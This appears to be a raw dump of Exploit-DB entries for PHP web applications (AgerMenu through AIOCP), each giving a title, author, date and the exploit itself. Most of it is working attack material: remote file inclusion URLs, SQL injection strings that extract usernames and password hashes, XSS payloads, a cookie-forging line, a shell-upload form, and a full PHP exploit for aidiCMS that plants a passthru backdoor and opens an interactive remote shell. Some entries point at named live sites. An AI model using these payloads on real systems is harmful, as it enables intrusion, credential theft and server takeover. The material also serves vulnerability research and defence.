deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3280
Description: AgerMenu 0.01 - 'top.inc.php?rootdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-07
Author: GoLd_M

Exploit:
===============================================================
Discovered by GolD_M(Mahmnood_ali) & &  Contact: HackEr_@W.Cn
===============================================================
URL Script: http://www.chbs.dk/proj/agermenu/agermenu-0.01.tgz
===============================================================
V.CODE: In : [path]/example/inc/top.inc.php
include $rootdir."inc/agermenu.func.php";
===============================================================
Exploit: v.Cc/[path]/example/inc/top.inc.php?rootdir=Evil.txt?
===============================================================

# milw0rm.com [2007-02-07]
Exploit-DB #26596
Description: AgileBill 1.4.92 - Product_Cat SQL Injection
Type: webapps
Platform: php
Date: 2005-11-25
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15572/info

AgileBill is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly santize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.4.92 is reported to be affected; earlier versions may also be vulnerable. 

http://www.example.com/?_page=product_cat:t_Paged%20Listing&id=1[SQL]
Exploit-DB #19329
Description: agora project 2.13.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-06-22
Author: Chris Russell

Exploit:
###################################################################
Agora Project 2.13.1 Multiple Vulnerabilities
###################################################################
 
Release Date Bug.          15-06-2012
Vendor Notification Date.  Never
Product.                   Agora project
Affected versions.         2.13.1 and less
Type.                      No Commercial
Attack Vector.             XSS, SQLi, BSQLi
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download                   http://www.agora-project.net/divers/download.php
Demo			   http://www.agora-project.net/demo/
 
I. BACKGROUND
 
Agora-Project is an intuitive groupware under GPL (Based on PHP/MySQL). 
It contains many modules: File Manager (with versioning), Calendars (with resource calendars),
Task Manager, Bookmark manager, Contacts, News, Forum, Instant Messaging, etc.
 
II. DESCRIPTION
 
vulnerabilities are XSS, SQLi, BSQLi
 
 
III.  EXPLOITATION
 
	XSS 
	192.168.0.1/module_utilisateurs/utilisateur.php?id_utilisateur"><script>alert('xss')</script>
	192.168.0.1/module_agenda/evenement.php?id_evenement="><script>alert('xss')</script>
	192.168.0.1/module_contact/contact.php?id_contact="><script>alert('xss')</script>
	192.168.0.1/module_contact/index.php?id_dossier="><script>alert('xss')</script>
	192.168.0.1/module_tache/index.php?id_dossier="><script>alert('xss')</script>
	192.168.0.1/module_agenda/index.php?printmode="><script>alert('xss')</script>
	192.168.0.1/module_lien/index.php?id_dossier="><script>alert('xss')</script>
	192.168.0.1/module_forum/index.php?theme="><script>alert('xss')</script>
	192.168.0.1/module_fichier/index.php?id_dossier="><script>alert('xss')</script>
	192.168.0.1/module_tableau_bord/index.php?tdb_periode="><script>alert('xss')</script>

	SQLi
	To exploit minimum visit to "public" space
	192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select nom FROM gt_utilisateur WHERE 1 AND '1'='1
	192.168.0.1/module_forum/index.php?theme=1' and 1=2 union select pass FROM gt_utilisateur WHERE 1 AND '1'='1
	
	BSQLi
	To exploit minimum visit to "public" space
	192.168.0.1/module_tache/tache.php?id_tache=1'+and+substring(@@version,1,1)='5
	192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+1+from+gt_utilisateur+limit+0,1)='1

	192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,pass),1,1)+from+gt_utilisateur+limit+0,1)='1
	192.168.0.1/module_tache/tache.php?id_tache=1'+and+(select+substring(concat(1,nom),1,1)+from+gt_utilisateur+limit+0,1)='1

	192.168.0.1/module_tache/tache.php?id_tache=1'and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))>'0'>'0
	192.168.0.1/module_tache/tache.php?id_tache=1'+and ascii(substring((SELECT nom from gt_utilisateur limit 0,1),1,1))='110
	...

	


 
Discovered by.
Chris Russell
Exploit-DB #19059
Description: Agora-Project 2.12.11 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Misa3l

Exploit:
# Exploit Title: agora-project_2.12.11_12-2011 Remote Shell Upload
# Google Dork: n0 N0obs
# Date: 10/06/2012
# Exploit Author: Misa3l
# Vendor Homepage: http://sourceforge.net/projects/agora-project/
# Software Link: http://sourceforge.net/projects/agora-project/files/latest/download
# Version: 2.12.11_12-2011
# Tested on: Debian 6.0

Description

Agora-Project is an intuitive groupware under GPL (Based on PHP/MySQL). It contains many modules: File Manager (with versioning), Calendars (with resource calendars), Task Manager, Bookmark manager, Contacts, News, Forum, Instant Messaging, etc.

Exploit

**********************************************************************************

<form action="http://127.0.0.1/labs/module_fichier/upload/upload_filemanager.php?dossierup=testing" ENCTYPE="multipart/form-data" method="post">
<input type="file" name="dossierup" />
<input type="submit" name="sube" />
</form>

**********************************************************************************

Dir Shell:
http://127.0.0.1/labs/stock_fichiers/tmp/  
"testing" <--- folder 
"shell.php" <--- shell
File Vul:
module_fichier/upload/upload_filemanager.php

<?php
////    INIT
define("ROOT_PATH","../../");
require_once ROOT_PATH."includes/global.inc.php";

////    AJOUTE LES FICHIERS UPLOADES AVEC PLUPLOAD DANS UN DOSSIER TEMPORAIRE
////
if(@$_GET["dossierup"]!="" && isset($_FILES) && count($_FILES)>0)
{
    ////    DOSSIER TEMPORAIRE  (Cr�� si inexistant + chmod (car s'il est pass� dans mkdir() �a marche pas!))
    $save_path = PATH_TMP.$_GET["dossierup"];
    if(is_dir($save_path)==false)    { mkdir($save_path);  chmod($save_path, 0775); }
    
    ////    PLACE LE/LES FICHIERS
    foreach($_FILES as $file_tmp)
    {
        if($file_tmp["error"]==0 && is_writable($save_path))    { move_uploaded_file($file_tmp["tmp_name"], $save_path."/".$file_tmp["name"]); }
        elseif($num_erreur==4)                                    { echo "UPLOAD_ERR_NO_FILE"; }
        else                                                    { echo $trad["MSG_ALERTE_taille_fichier"]; }
    }
}
?>

***************************************************************************************
End... Misa3l From Venezuela
Exploit-DB #8599
Description: AGTC MyShop 3.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-04
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : AGTC MyShop v3.2b
[+] Site :www.websiteforsaleuk.co.uk
[+] Found by : Mr.tro0oqy  
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
Exploit:
--------
javascript:document.cookie="log_accept=correcto;path=/";

Demo :
------
http://www.websiteforsaleuk.co.uk/demo/admin.php


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima

all my Friends

# milw0rm.com [2009-05-04]
Exploit-DB #29903
Description: Ahhp Portal - 'page.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-25
Author: CodeXpLoder'tq

Exploit:
source: https://www.securityfocus.com/bid/23658/info

Ahhp Portal is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/page.php?fp=r57shell?
http://www.example.com/page.php?sc=r57shell?
Exploit-DB #17410
Description: AiCart 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-18
Author: takeshix

Exploit:
=================================[ AiCart 2.0 Multiple Vulnerabilities ]===================================

== Infos ==================================================================================================

[ Date ]				[ 18.06.2011 ]
[ Software URL ]			[ http://www.aicart.ca/ ]
[ Version ]				[ 2.0 ]
[ Google Dork ]				[ inurl:'/store.php?action=view_product pid=' ]
[ System ]				[ PHP ]
[ Testing System ]			[ Fedora ]
[ Risk Level ]				[ High ]
[ CVE ]					[ - ]

== Autor Details ==========================================================================================

[ Autor ]				[ takeshix ]
[ Autor Contact ]			[ takeshix.query@googlemail.com ]

== PoC ====================================================================================================

[ SQLi ]	http://localhost/store.php?action=view_product?pid='
[ SQLi ]	http://localhost/store.php?rid='
[ SQLi ]	http://localhost/news.php?nid='&action=view

[ XSS ]		http://localhost/store.php?action=view_product?pid=<script>alert('takeshix')</script>
[ XSS ]		http://localhost/store.php?rid=<script>alert('takeshix')</script>
[ Xss ]		http://localhost/news.php?nid=<script>alert('takeshix')</script>&action=view

== Greez ==================================================================================================

[ hackademics ] [ DSU ] [ UNITS ]

=============================================[ hacktivistas ]==============================================
Exploit-DB #18085
Description: aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2011-11-05
Author: EgiX

Exploit:
<?php

/*
    --------------------------------------------------------------------
    aidiCMS v3.55 (ajax_create_folder.php) Remote Code Execution Exploit
    --------------------------------------------------------------------
    
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://code.google.com/p/aidicms/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability overview:
    
    aidiCMS v3.55 is affected by the vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
    
    [-] Disclosure timeline:
    
    [23/10/2011] - Vulnerability discovered
    [24/10/2011] - Issue reported to http://code.google.com/p/aidicms/issues/detail?id=3
    [26/10/2011] - Project members contacted via e-mail
    [04/11/2011] - Still no response received
    [05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------+";
print "\n| aidiCMS v3.55 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /aidicms/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}modul/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}modul/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\naidicms-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>
Exploit-DB #2777
Description: Aigaion 1.2.1 - 'DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-14
Author: navairum

Exploit:
Software:Web based bibliography management system
Download link: http://sourceforge.net/projects/aigaion/
script:_basicfunctions.php
author: navairum

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
The script _basicfunctions.php does not specify a value for the $DIR variable before including it.
Vulnerable code:

//if this script is not called from within one of the base pages, redirect to frontpage
require_once($DIR."checkBase.php");

/* This function leads the browser to the given location */

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit:
http://site/[PATH]/_basicfunctions.php?DIR=http://site/uhoh.txt?
http://site/path/pageactionauthor.php?DIR=http://site/uhoh.txt?

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-14]
Exploit-DB #4164
Description: Aigaion 1.3.3 - 'topic topic_id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-09
Author: CypherXero

Exploit:
--==+================================================================================+==--
--==+                       Aigaion <= 1.3.3 SQL Injection Exploit                   +==--
--==+================================================================================+==--
DISCOVERED BY: Cody "CypherXero" Rester
PAYLOAD: Admin username and MD5 Hash
WEBSITE: http://www.cypherxero.net

Shoutouts to my friends darkfusion and magikgrl for being fucking awesome. w0rd.
--==+================================================================================+==--

EXPLOITS:

http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,CONCAT(login,CHAR(58),password),null/**/FROM/**/person/**/WHERE/**/ID=1--
http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,password,null/**/FROM/**/person--

# milw0rm.com [2007-07-09]
Exploit-DB #35060
Description: Aigaion 1.3.4 - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-07
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/45232/info

Aigaion is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Aigaion 1.3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/Aigaion/ indexlight.php?page=export&type=single&format=RIS&ID=[SQLi]
Exploit-DB #12791
Description: Aim Web Design - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-29
Author: XroGuE

Exploit:
=======================================================================
# Aim Web Design Multiple Vulnerabilities
=======================================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm XroGuE member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

########################################################################
# Name: Aim Web Design Multiple Vulnerabilities
# Vendor: www.aimwebdesigncheshire.co.uk
# Date: 2010-05-29
# Author: XroGuE
# Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: (-_+)
########################################################################

[+] Dork: inurl:"clubpage.php?id=" & inurl:"coursepage.php?id="
intext:"Web Site design by : Aim Web Design Cheshire"


[+] Vulnerabilities:

newsarticle.php
coursepage.php
addreview.php
clubpage.php


[+] XSS InjecTion Vulnerability:

[+] Demo: http://server/coursepage.php?id="
http://www.2for1golfcourses.co.uk/addreview.php?id=">

########################################################################

[+] HTML InjecTion Vulnerability:

[+] Demo: http://server/coursepage.php?id="<marquee><font color=Blue size=15>XroGuE</font></marquee>
http://www.2for1golfcourses.co.uk/addreview.php?id="><marquee><font color=Blue size=15>XroGuE</font></marquee>

########################################################################

[+] SQL InjecTion Vulnerability:

[+] Demo: http://server/newsarticle.php?id=10 and 1=1 [and 1=2]
http://www.golfgreenfees.com/courses/courses/clubpage.php?id=30 and 1=1 [and 1=2]

########################################################################
Exploit-DB #50538
Description: Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
Type: webapps
Platform: php
Date: 2021-11-22
Author: Ilker Burak ADIYAMAN

Exploit:
# Exploit Title: Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
# Date: 20/11/2021
# Exploit Author: Ilker Burak ADIYAMAN
# Vendor Homepage: https://aimeos.org
# Software Link: https://aimeos.org/laravel-ecommerce-package
# Version: Aimeos 2021.10 LTS
# Tested on: MacOSX

*Description:*

The Aimeos E-Commerce framework Laravel application is vulnerable to SQL injection via the 'sort' parameter on the json api.

==================== 1. SQLi ====================

https://127.0.0.1/default/jsonapi/review?sort=-ctime

The "sort" parameter is vulnerable to SQL injection, reveals table and column names.

step 1 : Copy json api GET request above.
step 2 : Change sort parameter value to --

----------------------------------------------------------------------
Parameter: sort (GET)
    Type: error based
    Title: GET parameter 'sort' appears to be injectable
    Payload: sort=--
Exploit-DB #3202
Description: AINS 0.02b - 'ains_main.php?ains_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-26
Author: ThE dE@Th

Exploit:
AINS 0.02b - Remote File Include Vulnerabilities

Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip
Finded by ThE dE@Th
Greetings For :AsB-May Team & HaCk.eGy


ains_main.php:


include("$ains_path/ains_global.inc");


http://www.site.com/[path]/ains_main.php?ains_path=[evil_code]

# milw0rm.com [2007-01-26]
Exploit-DB #28933
Description: AIOCP 1.3.x - 'cp_codice_fiscale.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
              
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
              
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
              
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_codice_fiscale.php?choosed_language=[sql]
Exploit-DB #28929
Description: AIOCP 1.3.x - 'cp_contact_us.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
          
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
          
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
          
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_contact_us.php?choosed_language=[sql]
Exploit-DB #28918
Description: AIOCP 1.3.x - 'cp_dpage.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
 
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
 
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_dpage.php?choosed_language=</textarea>'"><script>alert(document.cookie)</script>
Exploit-DB #28923
Description: AIOCP 1.3.x - 'cp_dpage.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
     
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
     
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_dpage.php?choosed_language=[sql]